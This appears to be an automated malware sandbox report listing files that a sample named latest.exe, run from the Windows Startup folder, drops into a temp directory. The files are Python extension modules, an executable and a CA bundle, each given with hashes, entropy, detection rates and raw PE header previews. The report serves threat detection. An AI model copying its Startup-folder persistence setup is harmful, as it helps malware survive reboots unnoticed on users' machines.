Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]ws..............n......j......Rn......j......j......j.......k..........$....k..9....k.......k.......k......Rich....................PE..d...7..d.........." ...#.B...H......\F....................................................`......................................... s..`....s.......................................I..............................PH..@............`...............................text....@.......B.................. ..`.rdata.......`.......F..............@..@.data................b..............@....pdata...............j..............@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85272
Entropy (8bit):	6.591841805043941
Encrypted:	false
SSDEEP:	1536:Iyhz79151BVo1vXfzIFnaR4bO1As0n8qsjk+VIMCVl7SyVx7:/hzx15evXkuxAP8qMk+VIMCVlJ
MD5:	30F396F8411274F15AC85B14B7B3CD3D
SHA1:	D3921F39E193D89AA93C2677CBFB47BC1EDE949C
SHA-256:	CB15D6CC7268D3A0BD17D9D9CEC330A7C1768B1C911553045C73BC6920DE987F
SHA-512:	7D997EF18E2CBC5BCA20A4730129F69A6D19ABDDA0261B06AD28AD8A2BDDCDECB12E126DF9969539216F4F51467C0FE954E4776D842E7B373FE93A8246A5CA3F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................b....(......(......(......(......(.....................................................Rich...........PE..d....b.f.........." ...(.....^...............................................`............`.........................................p...H............@.......0..D......../...P..........T...........................p...@............................................text...#........................... ..`.rdata..P>.......@..................@..@.data........ ......................@....pdata..D....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_cffi_backend.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	179712
Entropy (8bit):	6.180800197956408
Encrypted:	false
SSDEEP:	3072:IULjhBCx8qImKrUltSfGzdMcbb9CF8OS7jkSTLkKWlgeml:IgCeqImzSfIMcNCvOkSTLLWWem
MD5:	FCB71CE882F99EC085D5875E1228BDC1
SHA1:	763D9AFA909C15FEA8E016D321F32856EC722094
SHA-256:	86F136553BA301C70E7BADA8416B77EB4A07F76CCB02F7D73C2999A38FA5FA5B
SHA-512:	4A0E98AB450453FD930EDC04F0F30976ABB9214B693DB4B6742D784247FB062C57FAFAFB51EB04B7B4230039AB3B07D2FFD3454D6E261811F34749F2E35F04D6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......a..#%p.p%p.p%p.p,..p)p.p5.q'p.p5.zp!p.p5.q!p.p5.q-p.p5.q)p.pn..q!p.p6.q&p.p%p.p.p.pm..q!p.p,..p$p.pm..q$p.pm.xp$p.pm..q$p.pRich%p.p........................PE..d...W..f.........." ...).....B......`........................................0............`..........................................h..l....i..................T............ .......O...............................M..@............................................text............................... ..`.rdata..............................@..@.data....].......0...p..............@....pdata..T...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125208
Entropy (8bit):	6.138659353006937
Encrypted:	false
SSDEEP:	3072:IXw32spTVYgFoj6N2xE9sb7V/f/E4ZBq5syCtYPU95IMLPhr:IgGEOgFoj68ksRf/ERsX
MD5:	5377AB365C86BBCDD998580A79BE28B4
SHA1:	B0A6342DF76C4DA5B1E28A036025E274BE322B35
SHA-256:	6C5F31BEF3FDBFF31BEAC0B1A477BE880DDA61346D859CF34CA93B9291594D93
SHA-512:	56F28D431093B9F08606D09B84A392DE7BA390E66B7DEF469B84A21BFC648B2DE3839B2EEE4FB846BBF8BB6BA505F9D720CCB6BB1A723E78E8E8B59AB940AC26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......f.d."..."..."...+...$....... .......&.......*...........7... ...i...#...i...$.......!..."......7...$...7...#...7...#...7...#...Rich"...........................PE..d...eb.f.........." ...(............`_..............................................-.....`.........................................p`.......`.........................../......t.......T...............................@............................................text............................... ..`.rdata..hl.......n..................@..@.data...,5.......0...j..............@....pdata..............................@..@.rsrc...............................@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	257304
Entropy (8bit):	6.565831509727426
Encrypted:	false
SSDEEP:	6144:/CxJS14bteS9B+ApcG0Qos0KR29py9qWM53pLW1AZHVHMhhhKoDStGwL0zsWD:/aeS9B+HQosbY9FfHVHXfEsWD
MD5:	7AE94F5A66986CBC1A2B3C65A8D617F3
SHA1:	28ABEFB1DF38514B9FFE562F82F8C77129CA3F7D
SHA-256:	DA8BB3D54BBBA20D8FA6C2FD0A4389AEC80AB6BD490B0ABEF5BD65097CBC0DA4
SHA-512:	FBB599270066C43B5D3A4E965FB2203B085686479AF157CD0BB0D29ED73248B6F6371C5158799F6D58B1F1199B82C01ABE418E609EA98C71C37BB40F3226D8C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V..............'.....g&......g&......g&......g&.......!.................9....!.......!.......!.......!K......!......Rich............PE..d...[b.f.........." ...(.....<.......................................................4....`..........................................c..P....c...................&......./......T.......T...............................@............................................text...v........................... ..`.rdata..............................@..@.data...X*.......$...b..............@....pdata...&.......(..................@..@.rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_elementtree.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	133400
Entropy (8bit):	6.439751874803727
Encrypted:	false
SSDEEP:	3072:06BeITMrw455bcDfGgfQTd/KXWAW9Va2CwNRJ03FIM6fVF8:09ITMUibcDfD+VYM3/CwNRJ03D
MD5:	D20E0888B180C980E54B9E74DB901C26
SHA1:	C1EA58DD9C475F1FD5E89BE2088C7EA0D38EFCCE
SHA-256:	798E8DDFC45495C26593A0550554E32A62CBDD9DA5556E25DA7231A0BF8FD274
SHA-512:	FBF27FC1021D7954C653CAC702121E46D39F3A6A09E5D60392334F40D589FEDA4F6714A5BAE6EBC2EF0196776A650BC8A0A5DD0A16A0E6E4F2911918443FBE79
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@.0...^K..^K..^K...K..^K.r_J..^K.r]J..^K.rZJ..^K.r[J..^K.u_J..^KO._J..^K.._K..^K.uSJ..^K.u^J..^K.u.K..^K.u\J..^KRich..^K................PE..d...Xb.f.........." ...(.:..........................................................bl....`............................................X...(...x......................../......l... \..T............................Z..@............P...............................text....9.......:.................. ..`.rdata...k...P...l...>..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..l...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	66328
Entropy (8bit):	6.227186392528159
Encrypted:	false
SSDEEP:	1536:9PgLpgE4Z27jHZWZnEmoANIMOIi7SyAx2:9EtHZeEmoANIMOIit
MD5:	A25BC2B21B555293554D7F611EAA75EA
SHA1:	A0DFD4FCFAE5B94D4471357F60569B0C18B30C17
SHA-256:	43ACECDC00DD5F9A19B48FF251106C63C975C732B9A2A7B91714642F76BE074D
SHA-512:	B39767C2757C65500FC4F4289CB3825333D43CB659E3B95AF4347BD2A277A7F25D18359CEDBDDE9A020C7AB57B736548C739909867CE9DE1DBD3F638F4737DC5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8QtZY?'ZY?'ZY?'S!.'^Y?'..>&XY?'..<&YY?'..;&RY?'..:&VY?'.!>&XY?'O.>&_Y?'ZY>'.Y?'O.2&[Y?'O.?&[Y?'O..'[Y?'O.=&[Y?'RichZY?'........PE..d....b.f.........." ...(.V.......... @....................................................`.........................................p...P................................/......X...@}..T............................\|..@............p..(............................text....T.......V.................. ..`.rdata...O...p...P...Z..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	160024
Entropy (8bit):	6.85410280956396
Encrypted:	false
SSDEEP:	3072:ssvkxujgo7e2uONOG+hi+CTznfF9mNoDXnmbuVIMZ10L:snu0o7JUCNYOD2Kg
MD5:	9E94FAC072A14CA9ED3F20292169E5B2
SHA1:	1EEAC19715EA32A65641D82A380B9FA624E3CF0D
SHA-256:	A46189C5BD0302029847FED934F481835CB8D06470EA3D6B97ADA7D325218A9F
SHA-512:	B7B3D0F737DD3B88794F75A8A6614C6FB6B1A64398C6330A52A2680CAF7E558038470F6F3FC024CE691F6F51A852C05F7F431AC2687F4525683FF09132A0DECB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D.3H%.`H%.`H%.`A]7`L%.`...aJ%.`...aK%.`...a@%.`...aD%.`]..aK%.`.].aJ%.`H%.`-%.`]..ar%.`]..aI%.`].[`I%.`]..aI%.`RichH%.`........................PE..d....b.f.........." ...(.f..........`8..............................................C.....`......................................... %..L...l%..x....p.......P.......B.../......4.......T...............................@............................................text...be.......f.................. ..`.rdata..............j..............@..@.data...p....@......................@....pdata.......P......."..............@..@.rsrc........p.......6..............@..@.reloc..4............@..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_multiprocessing.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	35608
Entropy (8bit):	6.430939025440004
Encrypted:	false
SSDEEP:	768:I1Rp7eiajKCGnAxQ0zdu9IMWtg5YiSyvKDAMxkEp5u:gRteiaIAxQ0zI9IMWty7Syyjxto
MD5:	41EE16713672E1BFC4543E6AE7588D72
SHA1:	5FF680727935169E7BCB3991404C68FE6B2E4209
SHA-256:	2FEB0BF9658634FE8405F17C4573FEB1C300E9345D7965738BEDEB871A939E6B
SHA-512:	CB407996A42BDF8BC47CE3F4C4485E27A4C862BF543410060E9F65D63BFBA4C5A854A1F0601E9D8933C549E5459CB74CA27F3126C8CDBDE0BDD2E803390AB942
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T.A)../z../z../z..z../z.$.{../z.$,{../z.$+{../z.$*{../z.#.{../z...zr./z[..{../z.#"{../z.#/{../z.#.z../z.#-{../zRich../z........PE..d...\b.f.........." ...(. ...>......@...............................................#Q....`.........................................@E..`....E..x............p.......\.../...........4..T............................3..@............0...............................text............ .................. ..`.rdata... ...0..."...$..............@..@.data...`....`.......F..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_overlapped.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	56088
Entropy (8bit):	6.330844955790863
Encrypted:	false
SSDEEP:	1536:5inr44gaZPXPCJ/+yZdDDrRIMXtH7SyNx7:5ZJ/+yZdDDrRIMXtHt
MD5:	737F46E8DAC553427A823C5F0556961C
SHA1:	30796737CAEC891A5707B71CF0AD1072469DD9DE
SHA-256:	2187281A097025C03991CD8EB2C9CA416278B898BD640A8732421B91ADA607E8
SHA-512:	F0F4B9045D5328335DC5D779F7EF5CE322EAA8126EC14A84BE73EDD47EFB165F59903BFF95EB0661EBA291B4BB71474DD0B0686EDC132F2FBA305C47BB3D019F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a.{X..(X..(X..(QxT(\..(...)Z..(...)[..(...)P..(...)T..(M..)Z..(X..(/..(.x.)]..(.x.)Y..(M..)Y..(M..)Y..(M.8(Y..(M..)Y..(RichX..(........PE..d...]b.f.........." ...(.N...`............................................................`.............................................X.............................../......(....f..T............................e..@............`...............................text...7L.......N.................. ..`.rdata...8...`...:...R..............@..@.data...0...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..(...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32536
Entropy (8bit):	6.553382348933807
Encrypted:	false
SSDEEP:	768:WlzRmezj6rGqMoW45IMQUHR5YiSyvMcAMxkEm2j:yRm0mGpoW45IMQUHf7SyVxb
MD5:	E1C6FF3C48D1CA755FB8A2BA700243B2
SHA1:	2F2D4C0F429B8A7144D65B179BEAB2D760396BFB
SHA-256:	0A6ACFD24DFBAA777460C6D003F71AF473D5415607807973A382512F77D075FA
SHA-512:	55BFD1A848F2A70A7A55626FB84086689F867A79F09726C825522D8530F4E83708EB7CAA7F7869155D3AE48F3B6AA583B556F3971A2F3412626AE76680E83CA1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.\.V...V...V...."..V..5...V..5...V..5...V..5...V......V.......V...V...V......V......V....N..V......V..Rich.V..........................PE..d...`b.f.........." ...(.....8............................................................`..........................................C..L...<D..d....p.......`.......P.../...........4..T...........................@3..@............0..8............................text............................... ..`.rdata.......0......................@..@.data........P.......<..............@....pdata.......`.......@..............@..@.rsrc........p.......D..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83736
Entropy (8bit):	6.3186936632343205
Encrypted:	false
SSDEEP:	1536:mOYhekrkJqlerLSyypHf9/s+S+pzMii/n1IsJqKN5IMLwoR7SygCxkWN:vwkJqHyypHf9/sT+pzMiE1IwdN5IMLw0
MD5:	69801D1A0809C52DB984602CA2653541
SHA1:	0F6E77086F049A7C12880829DE051DCBE3D66764
SHA-256:	67ACA001D36F2FCE6D88DBF46863F60C0B291395B6777C22B642198F98184BA3
SHA-512:	5FCE77DD567C046FEB5A13BAF55FDD8112798818D852DFECC752DAC87680CE0B89EDFBFBDAB32404CF471B70453A33F33488D3104CD82F4E0B94290E83EAE7BB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...Nb}.Nb}.Nb}.6.}.Nb}g.c\|.Nb}g.a\|.Nb}g.f\|.Nb}g.g\|.Nb}..c\|.Nb}.Nc}.Nb}.6c\|.Nb}..o\|.Nb}..b\|.Nb}..}.Nb}..`\|.Nb}Rich.Nb}................PE..d....b.f.........." ...(.x..........0-.......................................`............`.........................................@...P............@.......0.........../...P......P...T...............................@............................................text....v.......x.................. ..`.rdata...x.......z...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_sqlite3.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125208
Entropy (8bit):	6.262455715174875
Encrypted:	false
SSDEEP:	3072:6WdTrLGXVx7Qt+HEGFCO4w5yirrPrrrrrrbEOyfgv/pWwb8NIMOQI3:zAVxMt7pC5TrWgHos8e
MD5:	64417C2CCD84392880B417E8A9F7A4BC
SHA1:	88C6139471737B14D4161C010B10AD9615766DBB
SHA-256:	FDEACC2AFF71FE21D7A0DE0603388299FA203C2692FDBDB3709F1BC4CC9CDC0E
SHA-512:	05163D678F18EA901C5DA45F41EE25073B7834E711C2809F98DF122E6485B3979C5331709A6F48079A53931D3DBC3B569738B51736260CE1B67811C073C7EA84
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........M..#..#..#.....#..1"..#..1..#..1 ..#..1'...#..1&..#..6"..#..."..#.."..#..6....#..6#..#..6..#..6!..#.Rich.#.........................PE..d....b.f.........." ...(.................................................................`.........................................@o..P....o..................D......../.......... ...T...............................@............................................text...X........................... ..`.rdata..b...........................@..@.data................~..............@....pdata..D...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	178456
Entropy (8bit):	5.975111032322451
Encrypted:	false
SSDEEP:	3072:9EkiCZfBmvD1ZLnM2YfW6XSvWJLX2GvMf1ba+VRJNI7IM/H9o/PCrXuI3JVIMC7g:riC5QD1dwW6XSOMfjTwJH
MD5:	90F080C53A2B7E23A5EFD5FD3806F352
SHA1:	E3B339533BC906688B4D885BDC29626FBB9DF2FE
SHA-256:	FA5E6FE9545F83704F78316E27446A0026FBEBB9C0C3C63FAED73A12D89784D4
SHA-512:	4B9B8899052C1E34675985088D39FE7C95BFD1BBCE6FD5CBAC8B1E61EDA2FBB253EEF21F8A5362EA624E8B1696F1E46C366835025AABCB7AA66C1E6709AAB58A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|..j8.98.98.91.09>.9._.8:.9._.8;.9._.80.9._.85.9-X.8>.98.9..9s..8?.9-X.8:.9-X.89.9-X\99.9-X.89.9Rich8.9........................PE..d....b.f.........." ...(.............,....................................................`.............................................d...D...................P......../......x.......T...........................@...@............................................text............................... ..`.rdata...#.......$..................@..@.data...p...........................@....pdata..P............b..............@..@.rsrc................n..............@..@.reloc..x............x..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_uuid.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25880
Entropy (8bit):	6.592919849955951
Encrypted:	false
SSDEEP:	384:maxIcRiAWVIMZwbTHQIYiSy1pCQm9Y+pAM+o/8E9VF0Ny7yYV:ScR3WVIMZwn5YiSyvXMAMxkE8YV
MD5:	D8C6D60EA44694015BA6123FF75BD38D
SHA1:	813DEB632F3F3747FE39C5B8EF67BADA91184F62
SHA-256:	8AE23BFA84CE64C3240C61BEDB06172BFD76BE2AD30788D4499CB24047FCE09F
SHA-512:	D3D408C79E291ED56CA3135B5043E555E53B70DFF45964C8C8D7FFA92B27C6CDEA1E717087B79159181F1258F9613FE6D05E3867D9C944F43A980B5BF27A75AB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........p.n.#.n.#.n.#..Y#.n.#...".n.#...".n.#...".n.#...".n.#...".n.#...".n.#.n.#.n.#...".n.#...".n.#..5#.n.#...".n.#Rich.n.#................PE..d...db.f.........." ...(.....&......................................................ru....`.........................................p9..L....9..x....`.......P.......6.../...p..@...`3..T........................... 2..@............0..8............................text...h........................... ..`.rdata.......0......................@..@.data...`....@.......&..............@....pdata.......P.......(..............@..@.rsrc........`.......*..............@..@.reloc..@....p.......4..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_wmi.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37656
Entropy (8bit):	6.340152202881265
Encrypted:	false
SSDEEP:	768:rUmqQhTcYr6NxO0VIMCit5YiSyv4YmAJAMxkEn:Im7GBNxO0VIMCiz7SyQYmQxz
MD5:	827615EEE937880862E2F26548B91E83
SHA1:	186346B816A9DE1BA69E51042FAF36F47D768B6C
SHA-256:	73B7EE3156EF63D6EB7DF9900EF3D200A276DF61A70D08BD96F5906C39A3AC32
SHA-512:	45114CAF2B4A7678E6B1E64D84B118FB3437232B4C0ADD345DDB6FBDA87CEBD7B5ADAD11899BDCD95DDFE83FDC3944A93674CA3D1B5F643A2963FBE709E44FB8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k.L...L...L...E..J.......H.......H.......D...Y...N.......Q.......K...L...........M...Y...M...Y...M...Y...M...Y...M...RichL...........PE..d...db.f.........." ...(....<.......(...................................................`..........................................V..H...HV..................x....d.../......t...dG..T............................C..@............@.......S..@....................text...n(......................... ..`.rdata..4 ...@..."..................@..@.data........p.......P..............@....pdata..x............T..............@..@.rsrc................X..............@..@.reloc..t............b..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	58422784
Entropy (8bit):	6.484840664746955
Encrypted:	false
SSDEEP:	393216:lP/7GQc5t/7riSx7H15lJHzQrGgrlCSeDVUKm/y2MX:gptyiH1cCSeDVUKm/y2
MD5:	05B6254021999F744DF72E1EF9C57451
SHA1:	6792F8225D85893F34F6BD592AD079030E92CA44
SHA-256:	A82A7B36DC40B5028EBC81BBC35D1506D2E0345A9579A08256ED14A3C777FF4A
SHA-512:	B63583C6322632EC43956A33829A5E2ADB86FC746053710D8CF8D8ECBD2BF6142AB140AF9A13016070ABD7EFF811D94E1670EED6FE38A9BC448307E2CADAAD69
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?Qb.^?1.^?1.^?1.&<0.^?1.&:0j^?1.&;0.^?1.^?1.^?1...1.^?1..:0.^?1..;0.^?1..<0.^?1..>0.^?1.&>0.^?1.^>1__?1..;0s\?1..=0.^?1Rich.^?1........................PE..d...{.Sg.........."....&.....................@.............................p............`.................................................<...<........F...P...............P........................................@..............8............................text............................. ..`.rdata............................@..@.data...8...........................@....pdata.......P.......x..............@..@_RDATA..............................@..@.rsrc....F.......H..................@..@.reloc.......P.......\{.............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\bcrypt\_bcrypt.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	304128
Entropy (8bit):	6.435912222206497
Encrypted:	false
SSDEEP:	6144:dGZdT4vpmI+uyOkjC/g6XMX/cXt2/mW/UcuvJOlRncKNek487Qa858nD8yCKLAvO:M7T4ppVkjC5rCr
MD5:	829AC778D5A82A72FD5F83312D929A93
SHA1:	B42FC4B15C7F9AD2BB84A0CC07040701EA462A0F
SHA-256:	3D26EFEEDD40E9CB67D66803B235F56D38A5932D1D82B86CAE4EDACE5385D27A
SHA-512:	D76F474EBC9BB9E84AAA989B40CF9783469757B535424DB3913FB4BB1C39014E4B17F0067232DCEFD9A5429DD0D4AE9EC15DBCE99CB2FBF285F745739F32D22B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?..Q..Q..Q......Q.''P..Q.''R..Q.''U..Q.''T..Q.%P..Q..P..Q..P.d.Q..Q.Q.. Q..Q.. S..Q.Rich.Q.................PE..d.....f.........." ...(.$...~............................................................`..........................................w..T....w...................'..............4.......T.......................(...P...@............@...............................text....#.......$.................. ..`.rdata...F...@...H...(..............@..@.data...0............p..............@....pdata...'.......(...t..............@..@.reloc..4...........................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\certifi\cacert.pem

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299427
Entropy (8bit):	6.047872935262006
Encrypted:	false
SSDEEP:	6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/QRSRqNb7d8iu5Nahx:QWb/TRJLWURrI5RWavdF08/
MD5:	50EA156B773E8803F6C1FE712F746CBA
SHA1:	2C68212E96605210EDDF740291862BDF59398AEF
SHA-256:	94EDEB66E91774FCAE93A05650914E29096259A5C7E871A1F65D461AB5201B47
SHA-512:	01ED2E7177A99E6CB3FBEF815321B6FA036AD14A3F93499F2CB5B0DAE5B713FD2E6955AA05F6BDA11D80E9E0275040005E5B7D616959B28EFC62ABB43A3238F0
Malicious:	false
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\charset_normalizer\md.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.674392865869017
Encrypted:	false
SSDEEP:	96:KGUmje72HzA5iJGhU2Y0hQMsQJCUCLsZEA4elh3XQMtCFXiHBpv9cX6gTim1qeSC:rjQ2HzzU2bRYoe1HH9cqgTimoe
MD5:	D9E0217A89D9B9D1D778F7E197E0C191
SHA1:	EC692661FCC0B89E0C3BDE1773A6168D285B4F0D
SHA-256:	ECF12E2C0A00C0ED4E2343EA956D78EED55E5A36BA49773633B2DFE7B04335C0
